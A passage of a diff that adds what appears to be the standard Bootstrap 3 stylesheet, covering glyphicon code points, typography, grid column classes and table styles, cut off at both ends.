+} +.glyphicon-earphone:before { + content: "\e182"; +} +.glyphicon-phone-alt:before { + content: "\e183"; +} +.glyphicon-tower:before { + content: "\e184"; +} +.glyphicon-stats:before { + content: "\e185"; +} +.glyphicon-sd-video:before { + content: "\e186"; +} +.glyphicon-hd-video:before { + content: "\e187"; +} +.glyphicon-subtitles:before { + content: "\e188"; +} +.glyphicon-sound-stereo:before { + content: "\e189"; +} +.glyphicon-sound-dolby:before { + content: "\e190"; +} +.glyphicon-sound-5-1:before { + content: "\e191"; +} +.glyphicon-sound-6-1:before { + content: "\e192"; +} +.glyphicon-sound-7-1:before { + content: "\e193"; +} +.glyphicon-copyright-mark:before { + content: "\e194"; +} +.glyphicon-registration-mark:before { + content: "\e195"; +} +.glyphicon-cloud-download:before { + content: "\e197"; +} +.glyphicon-cloud-upload:before { + content: "\e198"; +} +.glyphicon-tree-conifer:before { + content: "\e199"; +} +.glyphicon-tree-deciduous:before { + content: "\e200"; +} +.glyphicon-cd:before { + content: "\e201"; +} +.glyphicon-save-file:before { + content: "\e202"; +} +.glyphicon-open-file:before { + content: "\e203"; +} +.glyphicon-level-up:before { + content: "\e204"; +} +.glyphicon-copy:before { + content: "\e205"; +} +.glyphicon-paste:before { + content: "\e206"; +} +.glyphicon-alert:before { + content: "\e209"; +} +.glyphicon-equalizer:before { + content: "\e210"; +} +.glyphicon-king:before { + content: "\e211"; +} +.glyphicon-queen:before { + content: "\e212"; +} +.glyphicon-pawn:before { + content: "\e213"; +} +.glyphicon-bishop:before { + content: "\e214"; +} +.glyphicon-knight:before { + content: "\e215"; +} +.glyphicon-baby-formula:before { + content: "\e216"; +} +.glyphicon-tent:before { + content: "\26fa"; +} +.glyphicon-blackboard:before { + content: "\e218"; +} +.glyphicon-bed:before { + content: "\e219"; +} +.glyphicon-apple:before { + content: "\f8ff"; +} +.glyphicon-erase:before { + content: "\e221"; +} +.glyphicon-hourglass:before { + content: "\231b"; +} +.glyphicon-lamp:before { + content: "\e223"; +} +.glyphicon-duplicate:before { + content: "\e224"; +} +.glyphicon-piggy-bank:before { + content: "\e225"; +} +.glyphicon-scissors:before { + content: "\e226"; +} +.glyphicon-bitcoin:before { + content: "\e227"; +} +.glyphicon-btc:before { + content: "\e227"; +} +.glyphicon-xbt:before { + content: "\e227"; +} +.glyphicon-yen:before { + content: "\00a5"; +} +.glyphicon-jpy:before { + content: "\00a5"; +} +.glyphicon-ruble:before { + content: "\20bd"; +} +.glyphicon-rub:before { + content: "\20bd"; +} +.glyphicon-scale:before { + content: "\e230"; +} +.glyphicon-ice-lolly:before { + content: "\e231"; +} +.glyphicon-ice-lolly-tasted:before { + content: "\e232"; +} +.glyphicon-education:before { + content: "\e233"; +} +.glyphicon-option-horizontal:before { + content: "\e234"; +} +.glyphicon-option-vertical:before { + content: "\e235"; +} +.glyphicon-menu-hamburger:before { + content: "\e236"; +} +.glyphicon-modal-window:before { + content: "\e237"; +} +.glyphicon-oil:before { + content: "\e238"; +} +.glyphicon-grain:before { + content: "\e239"; +} +.glyphicon-sunglasses:before { + content: "\e240"; +} +.glyphicon-text-size:before { + content: "\e241"; +} +.glyphicon-text-color:before { + content: "\e242"; +} +.glyphicon-text-background:before { + content: "\e243"; +} +.glyphicon-object-align-top:before { + content: "\e244"; +} +.glyphicon-object-align-bottom:before { + content: "\e245"; +} +.glyphicon-object-align-horizontal:before { + content: "\e246"; +} +.glyphicon-object-align-left:before { + content: "\e247"; +} +.glyphicon-object-align-vertical:before { + content: "\e248"; +} +.glyphicon-object-align-right:before { + content: "\e249"; +} +.glyphicon-triangle-right:before { + content: "\e250"; +} +.glyphicon-triangle-left:before { + content: "\e251"; +} +.glyphicon-triangle-bottom:before { + content: "\e252"; +} +.glyphicon-triangle-top:before { + content: "\e253"; +} +.glyphicon-console:before { + content: "\e254"; +} +.glyphicon-superscript:before { + content: "\e255"; +} +.glyphicon-subscript:before { + content: "\e256"; +} +.glyphicon-menu-left:before { + content: "\e257"; +} +.glyphicon-menu-right:before { + content: "\e258"; +} +.glyphicon-menu-down:before { + content: "\e259"; +} +.glyphicon-menu-up:before { + content: "\e260"; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +*:before, +*:after { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +html { + font-size: 10px; + + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} +body { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.42857143; + color: #333; + background-color: #fff; +} +input, +button, +select, +textarea { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} +a { + color: #337ab7; + text-decoration: none; +} +a:hover, +a:focus { + color: #23527c; + text-decoration: underline; +} +a:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +figure { + margin: 0; +} +img { + vertical-align: middle; +} +.img-responsive, +.thumbnail > img, +.thumbnail a > img, +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + max-width: 100%; + height: auto; +} +.img-rounded { + border-radius: 6px; +} +.img-thumbnail { + display: inline-block; + max-width: 100%; + height: auto; + padding: 4px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: all .2s ease-in-out; + -o-transition: all .2s ease-in-out; + transition: all .2s ease-in-out; +} +.img-circle { + border-radius: 50%; +} +hr { + margin-top: 20px; + margin-bottom: 20px; + border: 0; + border-top: 1px solid #eee; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} +[role="button"] { + cursor: pointer; +} +h1, +h2, +h3, +h4, +h5, +h6, +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + font-family: inherit; + font-weight: 500; + line-height: 1.1; + color: inherit; +} +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small, +.h1 small, +.h2 small, +.h3 small, +.h4 small, +.h5 small, +.h6 small, +h1 .small, +h2 .small, +h3 .small, +h4 .small, +h5 .small, +h6 .small, +.h1 .small, +.h2 .small, +.h3 .small, +.h4 .small, +.h5 .small, +.h6 .small { + font-weight: normal; + line-height: 1; + color: #777; +} +h1, +.h1, +h2, +.h2, +h3, +.h3 { + margin-top: 20px; + margin-bottom: 10px; +} +h1 small, +.h1 small, +h2 small, +.h2 small, +h3 small, +.h3 small, +h1 .small, +.h1 .small, +h2 .small, +.h2 .small, +h3 .small, +.h3 .small { + font-size: 65%; +} +h4, +.h4, +h5, +.h5, +h6, +.h6 { + margin-top: 10px; + margin-bottom: 10px; +} +h4 small, +.h4 small, +h5 small, +.h5 small, +h6 small, +.h6 small, +h4 .small, +.h4 .small, +h5 .small, +.h5 .small, +h6 .small, +.h6 .small { + font-size: 75%; +} +h1, +.h1 { + font-size: 36px; +} +h2, +.h2 { + font-size: 30px; +} +h3, +.h3 { + font-size: 24px; +} +h4, +.h4 { + font-size: 18px; +} +h5, +.h5 { + font-size: 14px; +} +h6, +.h6 { + font-size: 12px; +} +p { + margin: 0 0 10px; +} +.lead { + margin-bottom: 20px; + font-size: 16px; + font-weight: 300; + line-height: 1.4; +} +@media (min-width: 768px) { + .lead { + font-size: 21px; + } +} +small, +.small { + font-size: 85%; +} +mark, +.mark { + padding: .2em; + background-color: #fcf8e3; +} +.text-left { + text-align: left; +} +.text-right { + text-align: right; +} +.text-center { + text-align: center; +} +.text-justify { + text-align: justify; +} +.text-nowrap { + white-space: nowrap; +} +.text-lowercase { + text-transform: lowercase; +} +.text-uppercase { + text-transform: uppercase; +} +.text-capitalize { + text-transform: capitalize; +} +.text-muted { + color: #777; +} +.text-primary { + color: #337ab7; +} +a.text-primary:hover, +a.text-primary:focus { + color: #286090; +} +.text-success { + color: #3c763d; +} +a.text-success:hover, +a.text-success:focus { + color: #2b542c; +} +.text-info { + color: #31708f; +} +a.text-info:hover, +a.text-info:focus { + color: #245269; +} +.text-warning { + color: #8a6d3b; +} +a.text-warning:hover, +a.text-warning:focus { + color: #66512c; +} +.text-danger { + color: #a94442; +} +a.text-danger:hover, +a.text-danger:focus { + color: #843534; +} +.bg-primary { + color: #fff; + background-color: #337ab7; +} +a.bg-primary:hover, +a.bg-primary:focus { + background-color: #286090; +} +.bg-success { + background-color: #dff0d8; +} +a.bg-success:hover, +a.bg-success:focus { + background-color: #c1e2b3; +} +.bg-info { + background-color: #d9edf7; +} +a.bg-info:hover, +a.bg-info:focus { + background-color: #afd9ee; +} +.bg-warning { + background-color: #fcf8e3; +} +a.bg-warning:hover, +a.bg-warning:focus { + background-color: #f7ecb5; +} +.bg-danger { + background-color: #f2dede; +} +a.bg-danger:hover, +a.bg-danger:focus { + background-color: #e4b9b9; +} +.page-header { + padding-bottom: 9px; + margin: 40px 0 20px; + border-bottom: 1px solid #eee; +} +ul, +ol { + margin-top: 0; + margin-bottom: 10px; +} +ul ul, +ol ul, +ul ol, +ol ol { + margin-bottom: 0; +} +.list-unstyled { + padding-left: 0; + list-style: none; +} +.list-inline { + padding-left: 0; + margin-left: -5px; + list-style: none; +} +.list-inline > li { + display: inline-block; + padding-right: 5px; + padding-left: 5px; +} +dl { + margin-top: 0; + margin-bottom: 20px; +} +dt, +dd { + line-height: 1.42857143; +} +dt { + font-weight: bold; +} +dd { + margin-left: 0; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: left; + width: 160px; + overflow: hidden; + clear: left; + text-align: right; + text-overflow: ellipsis; + white-space: nowrap; + } + .dl-horizontal dd { + margin-left: 180px; + } +} +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #777; +} +.initialism { + font-size: 90%; + text-transform: uppercase; +} +blockquote { + padding: 10px 20px; + margin: 0 0 20px; + font-size: 17.5px; + border-left: 5px solid #eee; +} +blockquote p:last-child, +blockquote ul:last-child, +blockquote ol:last-child { + margin-bottom: 0; +} +blockquote footer, +blockquote small, +blockquote .small { + display: block; + font-size: 80%; + line-height: 1.42857143; + color: #777; +} +blockquote footer:before, +blockquote small:before, +blockquote .small:before { + content: '\2014 \00A0'; +} +.blockquote-reverse, +blockquote.pull-right { + padding-right: 15px; + padding-left: 0; + text-align: right; + border-right: 5px solid #eee; + border-left: 0; +} +.blockquote-reverse footer:before, +blockquote.pull-right footer:before, +.blockquote-reverse small:before, +blockquote.pull-right small:before, +.blockquote-reverse .small:before, +blockquote.pull-right .small:before { + content: ''; +} +.blockquote-reverse footer:after, +blockquote.pull-right footer:after, +.blockquote-reverse small:after, +blockquote.pull-right small:after, +.blockquote-reverse .small:after, +blockquote.pull-right .small:after { + content: '\00A0 \2014'; +} +address { + margin-bottom: 20px; + font-style: normal; + line-height: 1.42857143; +} +code, +kbd, +pre, +samp { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code { + padding: 2px 4px; + font-size: 90%; + color: #c7254e; + background-color: #f9f2f4; + border-radius: 4px; +} +kbd { + padding: 2px 4px; + font-size: 90%; + color: #fff; + background-color: #333; + border-radius: 3px; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); +} +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: bold; + -webkit-box-shadow: none; + box-shadow: none; +} +pre { + display: block; + padding: 9.5px; + margin: 0 0 10px; + font-size: 13px; + line-height: 1.42857143; + color: #333; + word-break: break-all; + word-wrap: break-word; + background-color: #f5f5f5; + border: 1px solid #ccc; + border-radius: 4px; +} +pre code { + padding: 0; + font-size: inherit; + color: inherit; + white-space: pre-wrap; + background-color: transparent; + border-radius: 0; +} +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} +.container { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +@media (min-width: 768px) { + .container { + width: 750px; + } +} +@media (min-width: 992px) { + .container { + width: 970px; + } +} +@media (min-width: 1200px) { + .container { + width: 1170px; + } +} +.container-fluid { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +.row { + margin-right: -15px; + margin-left: -15px; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: left; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + right: 100%; +} +.col-xs-pull-11 { + right: 91.66666667%; +} +.col-xs-pull-10 { + right: 83.33333333%; +} +.col-xs-pull-9 { + right: 75%; +} +.col-xs-pull-8 { + right: 66.66666667%; +} +.col-xs-pull-7 { + right: 58.33333333%; +} +.col-xs-pull-6 { + right: 50%; +} +.col-xs-pull-5 { + right: 41.66666667%; +} +.col-xs-pull-4 { + right: 33.33333333%; +} +.col-xs-pull-3 { + right: 25%; +} +.col-xs-pull-2 { + right: 16.66666667%; +} +.col-xs-pull-1 { + right: 8.33333333%; +} +.col-xs-pull-0 { + right: auto; +} +.col-xs-push-12 { + left: 100%; +} +.col-xs-push-11 { + left: 91.66666667%; +} +.col-xs-push-10 { + left: 83.33333333%; +} +.col-xs-push-9 { + left: 75%; +} +.col-xs-push-8 { + left: 66.66666667%; +} +.col-xs-push-7 { + left: 58.33333333%; +} +.col-xs-push-6 { + left: 50%; +} +.col-xs-push-5 { + left: 41.66666667%; +} +.col-xs-push-4 { + left: 33.33333333%; +} +.col-xs-push-3 { + left: 25%; +} +.col-xs-push-2 { + left: 16.66666667%; +} +.col-xs-push-1 { + left: 8.33333333%; +} +.col-xs-push-0 { + left: auto; +} +.col-xs-offset-12 { + margin-left: 100%; +} +.col-xs-offset-11 { + margin-left: 91.66666667%; +} +.col-xs-offset-10 { + margin-left: 83.33333333%; +} +.col-xs-offset-9 { + margin-left: 75%; +} +.col-xs-offset-8 { + margin-left: 66.66666667%; +} +.col-xs-offset-7 { + margin-left: 58.33333333%; +} +.col-xs-offset-6 { + margin-left: 50%; +} +.col-xs-offset-5 { + margin-left: 41.66666667%; +} +.col-xs-offset-4 { + margin-left: 33.33333333%; +} +.col-xs-offset-3 { + margin-left: 25%; +} +.col-xs-offset-2 { + margin-left: 16.66666667%; +} +.col-xs-offset-1 { + margin-left: 8.33333333%; +} +.col-xs-offset-0 { + margin-left: 0; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: left; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + right: 100%; + } + .col-sm-pull-11 { + right: 91.66666667%; + } + .col-sm-pull-10 { + right: 83.33333333%; + } + .col-sm-pull-9 { + right: 75%; + } + .col-sm-pull-8 { + right: 66.66666667%; + } + .col-sm-pull-7 { + right: 58.33333333%; + } + .col-sm-pull-6 { + right: 50%; + } + .col-sm-pull-5 { + right: 41.66666667%; + } + .col-sm-pull-4 { + right: 33.33333333%; + } + .col-sm-pull-3 { + right: 25%; + } + .col-sm-pull-2 { + right: 16.66666667%; + } + .col-sm-pull-1 { + right: 8.33333333%; + } + .col-sm-pull-0 { + right: auto; + } + .col-sm-push-12 { + left: 100%; + } + .col-sm-push-11 { + left: 91.66666667%; + } + .col-sm-push-10 { + left: 83.33333333%; + } + .col-sm-push-9 { + left: 75%; + } + .col-sm-push-8 { + left: 66.66666667%; + } + .col-sm-push-7 { + left: 58.33333333%; + } + .col-sm-push-6 { + left: 50%; + } + .col-sm-push-5 { + left: 41.66666667%; + } + .col-sm-push-4 { + left: 33.33333333%; + } + .col-sm-push-3 { + left: 25%; + } + .col-sm-push-2 { + left: 16.66666667%; + } + .col-sm-push-1 { + left: 8.33333333%; + } + .col-sm-push-0 { + left: auto; + } + .col-sm-offset-12 { + margin-left: 100%; + } + .col-sm-offset-11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9 { + margin-left: 75%; + } + .col-sm-offset-8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6 { + margin-left: 50%; + } + .col-sm-offset-5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3 { + margin-left: 25%; + } + .col-sm-offset-2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0 { + margin-left: 0; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: left; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { + width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + right: 100%; + } + .col-md-pull-11 { + right: 91.66666667%; + } + .col-md-pull-10 { + right: 83.33333333%; + } + .col-md-pull-9 { + right: 75%; + } + .col-md-pull-8 { + right: 66.66666667%; + } + .col-md-pull-7 { + right: 58.33333333%; + } + .col-md-pull-6 { + right: 50%; + } + .col-md-pull-5 { + right: 41.66666667%; + } + .col-md-pull-4 { + right: 33.33333333%; + } + .col-md-pull-3 { + right: 25%; + } + .col-md-pull-2 { + right: 16.66666667%; + } + .col-md-pull-1 { + right: 8.33333333%; + } + .col-md-pull-0 { + right: auto; + } + .col-md-push-12 { + left: 100%; + } + .col-md-push-11 { + left: 91.66666667%; + } + .col-md-push-10 { + left: 83.33333333%; + } + .col-md-push-9 { + left: 75%; + } + .col-md-push-8 { + left: 66.66666667%; + } + .col-md-push-7 { + left: 58.33333333%; + } + .col-md-push-6 { + left: 50%; + } + .col-md-push-5 { + left: 41.66666667%; + } + .col-md-push-4 { + left: 33.33333333%; + } + .col-md-push-3 { + left: 25%; + } + .col-md-push-2 { + left: 16.66666667%; + } + .col-md-push-1 { + left: 8.33333333%; + } + .col-md-push-0 { + left: auto; + } + .col-md-offset-12 { + margin-left: 100%; + } + .col-md-offset-11 { + margin-left: 91.66666667%; + } + .col-md-offset-10 { + margin-left: 83.33333333%; + } + .col-md-offset-9 { + margin-left: 75%; + } + .col-md-offset-8 { + margin-left: 66.66666667%; + } + .col-md-offset-7 { + margin-left: 58.33333333%; + } + .col-md-offset-6 { + margin-left: 50%; + } + .col-md-offset-5 { + margin-left: 41.66666667%; + } + .col-md-offset-4 { + margin-left: 33.33333333%; + } + .col-md-offset-3 { + margin-left: 25%; + } + .col-md-offset-2 { + margin-left: 16.66666667%; + } + .col-md-offset-1 { + margin-left: 8.33333333%; + } + .col-md-offset-0 { + margin-left: 0; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: left; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + right: 100%; + } + .col-lg-pull-11 { + right: 91.66666667%; + } + .col-lg-pull-10 { + right: 83.33333333%; + } + .col-lg-pull-9 { + right: 75%; + } + .col-lg-pull-8 { + right: 66.66666667%; + } + .col-lg-pull-7 { + right: 58.33333333%; + } + .col-lg-pull-6 { + right: 50%; + } + .col-lg-pull-5 { + right: 41.66666667%; + } + .col-lg-pull-4 { + right: 33.33333333%; + } + .col-lg-pull-3 { + right: 25%; + } + .col-lg-pull-2 { + right: 16.66666667%; + } + .col-lg-pull-1 { + right: 8.33333333%; + } + .col-lg-pull-0 { + right: auto; + } + .col-lg-push-12 { + left: 100%; + } + .col-lg-push-11 { + left: 91.66666667%; + } + .col-lg-push-10 { + left: 83.33333333%; + } + .col-lg-push-9 { + left: 75%; + } + .col-lg-push-8 { + left: 66.66666667%; + } + .col-lg-push-7 { + left: 58.33333333%; + } + .col-lg-push-6 { + left: 50%; + } + .col-lg-push-5 { + left: 41.66666667%; + } + .col-lg-push-4 { + left: 33.33333333%; + } + .col-lg-push-3 { + left: 25%; + } + .col-lg-push-2 { + left: 16.66666667%; + } + .col-lg-push-1 { + left: 8.33333333%; + } + .col-lg-push-0 { + left: auto; + } + .col-lg-offset-12 { + margin-left: 100%; + } + .col-lg-offset-11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9 { + margin-left: 75%; + } + .col-lg-offset-8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6 { + margin-left: 50%; + } + .col-lg-offset-5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3 { + margin-left: 25%; + } + .col-lg-offset-2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0 { + margin-left: 0; + } +} +table { + background-color: transparent; +} +caption { + padding-top: 8px; + padding-bottom: 8px; + color: #777; + text-align: left; +} +th { + text-align: left; +} +.table { + width: 100%; + max-width: 100%; + margin-bottom: 20px; +} +.table > thead > tr > th, +.table > tbody > tr > th, +.table > tfoot > tr > th, +.table > thead > tr > td, +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px; + line-height: 1.42857143; + vertical-align: top; + border-top: 1px solid #ddd; +} +.table > thead > tr > th { + vertical-align: bottom; + border-bottom: 2px solid #ddd; +} +.table > caption + thead > tr:first-child > th, +.table > colgroup + thead > tr:first-child > th, +.table > thead:first-child > tr:first-child > th, +.table > caption + thead > tr:first-child > td, +.table > colgroup + thead > tr:first-child > td, +.table > thead:first-child > tr:first-child > td { + border-top: 0; +} +.table > tbody + tbody { + border-top: 2px solid #ddd; +} +.table .table { + background-color: #fff; +} +.table-condensed > thead > tr > th, +.table-condensed > tbody > tr > th, +.table-condensed > tfoot > tr > th, +.table-condensed > thead > tr > td, +.table-condensed > tbody > tr > td, +.table-condensed > tfoot > tr > td { + padding: 5px; +} +.table-bordered { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > tbody > tr > th, +.table-bordered > tfoot > tr > th, +.table-bordered > thead > tr > td, +.table-bordered > tbody > tr > td, +.table-bordered > tfoot > tr > td { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > thead > tr > td { + border-bottom-width: 2px; +} +.table-striped > tbody > tr:nth-of-type(odd) { + background-color: #f9f9f9; +} +.table-hover > tbody > tr:hover { + background-color: #f5f5f5; +} +table col[class*="col-"] { + position: static; + display: table-column; + float: none; +} +table td[class*="col-"], +table th[class*="col-"] { + position: static; + display: table-cell; + float: none; +} +.table > thead > tr > td.active, +.table > tbody > tr > td.active, +.table > tfoot > tr > td.active, +.table > thead > tr > th.active, +.table > tbody > tr > th.active, +.table > tfoot > tr > th.active, +.table > thead > tr.active > td, +.table > tbody > tr.active > td, +.table > tfoot > tr.active > td, +.table > thead > tr.active > th, +.table > tbody > tr.active > th, +.table > tfoot > tr.active > th { + background-color: #f5f5f5; +} +.table-hover > tbody > tr > td.active:hover, +.table-hover > tbody > tr > th.active:hover, +.table-hover > tbody > tr.active:hover > td, +.table-hover > tbody > tr:hover > .active, +.table-hover > tbody > tr.active:hover > th { + background-color: #e8e8e8; +} +.table > thead > tr > td.success, +.table > tbody > tr > td.success, +.table > tfoot > tr > td.success, +.table > thead > tr > th.success, +.table > tbody > tr > th.success, +.table > tfoot > tr > th.success, +.table > thead > tr.success > td, +.table > tbody > tr.success > td, +.table > tfoot > tr.success > td, +.table > thead > tr.success > th, +.table > tbody > tr.success > th, +.table > tfoot > tr.success > th { + background-color: #dff0d8; +} +.table-hover > tbody > tr > td.success:hover, +.table-hover > tbody > tr > th.success:hover, +.table-hover > tbody > tr.success:hover > td, +.table-hover > tbody > tr:hover > .success, +.table-hover > tbody > tr.success:hover > th { + background-color: #d0e9c6; +} +.table > thead > tr > td.info, +.table > tbody > tr > td.info, +.table > tfoot > tr > td.info, +.table > thead > tr > th.info, +.table > tbody > tr > th.info, +.table > tfoot > tr > th.info, +.table > thead > tr.info > td, +.table > tbody > tr.info > td, +.table > tfoot > tr.info > td, +.table > thead > tr.info > th, +.table > tbody > tr.info > th, +.table > tfoot > tr.info > th { + background-color: #d9edf7; +} +.table-hover > tbody > tr > td.info:hover, +.table-hover > tbody > tr > th.info:hover, +.table-hover > tbody > tr.info:hover > td, +.table-hover > tbody > tr:hover > .info, +.table-hover > tbody > tr.info:hover > th { + background-color: #c4e3f3; +} +.table > thead > tr > td.warning, +.table > tbody > tr > td.warning, +.table > tfoot > tr > td.warning, +.table > thead > tr > th.warning, +.table > tbody > tr > th.warning, +.table > tfoot > tr > th.warning, +.table > thead > tr.warning > td, +.table > tbody > tr.warning > td, +.table > tfoot > tr.warning > td, +.table > thead > tr.warning > th, +.table > tbody > tr.warning > th, +.table > tfoot > tr.warning > th { + background-color: #fcf8e3; +} +.table-hover > tbody > tr > td.warning:hover, +.table-hover > tbody > tr > th.warning:hover, +.table-hover > tbody > tr.warning:hover > td, +.table-hover > tbody > tr:hover > .warning, +.table-hover > tbody > tr.warning:hover > th { + background-color: #faf2cc; +} +.table > thead > tr > td.danger, +.table > tbody > tr > td.danger, +.table > tfoot > tr > td.danger, +.table > thead > tr > th.danger, +.table > tbody > tr > th.danger, +.table > tfoot > tr > th.danger, +.table > thead > tr.danger > td, +.table > tbody > tr.danger > td, +.table > tfoot > tr.danger > td, +.table > thead > tr.danger > th, +.table > tbody > tr.danger > th, +.table > tfoot > tr.danger > th { + background-color: #f2dede; +} +.table-hover > tbody > tr > td.danger:hover, +.table-hover > tbody > tr > th.danger:hover, +.table-hover > tbody > tr.danger:hover > td, +.table-hover > tbody > tr:hover > .danger, +.table-hover > tbody > tr.danger:hover > th { + background-color: #ebcccc; +} +.table-responsive { + min-height: .01%; + overflow-x: auto; +} +@media screen and (max-width: 767px) { + .table-responsive { + width: 100%; + margin-bottom: 15px; + overflow-y: hidden; + -ms-overflow-style: -ms-autohiding-scrollbar; + border: 1px solid #ddd; + } + .table-responsive > .table { + margin-bottom: 0; + } + .table-responsive > .table > thead > tr > th, + .table-responsive > .table > tbody > tr > th, + .table-responsive > .table > tfoot > tr > th, + .table-responsive > .table > thead > tr > td, + .table-responsive > .table > tbody > tr > td, + .table-responsive > .table > tfoot > tr > td { + white-space: nowrap; + } + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot > tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > 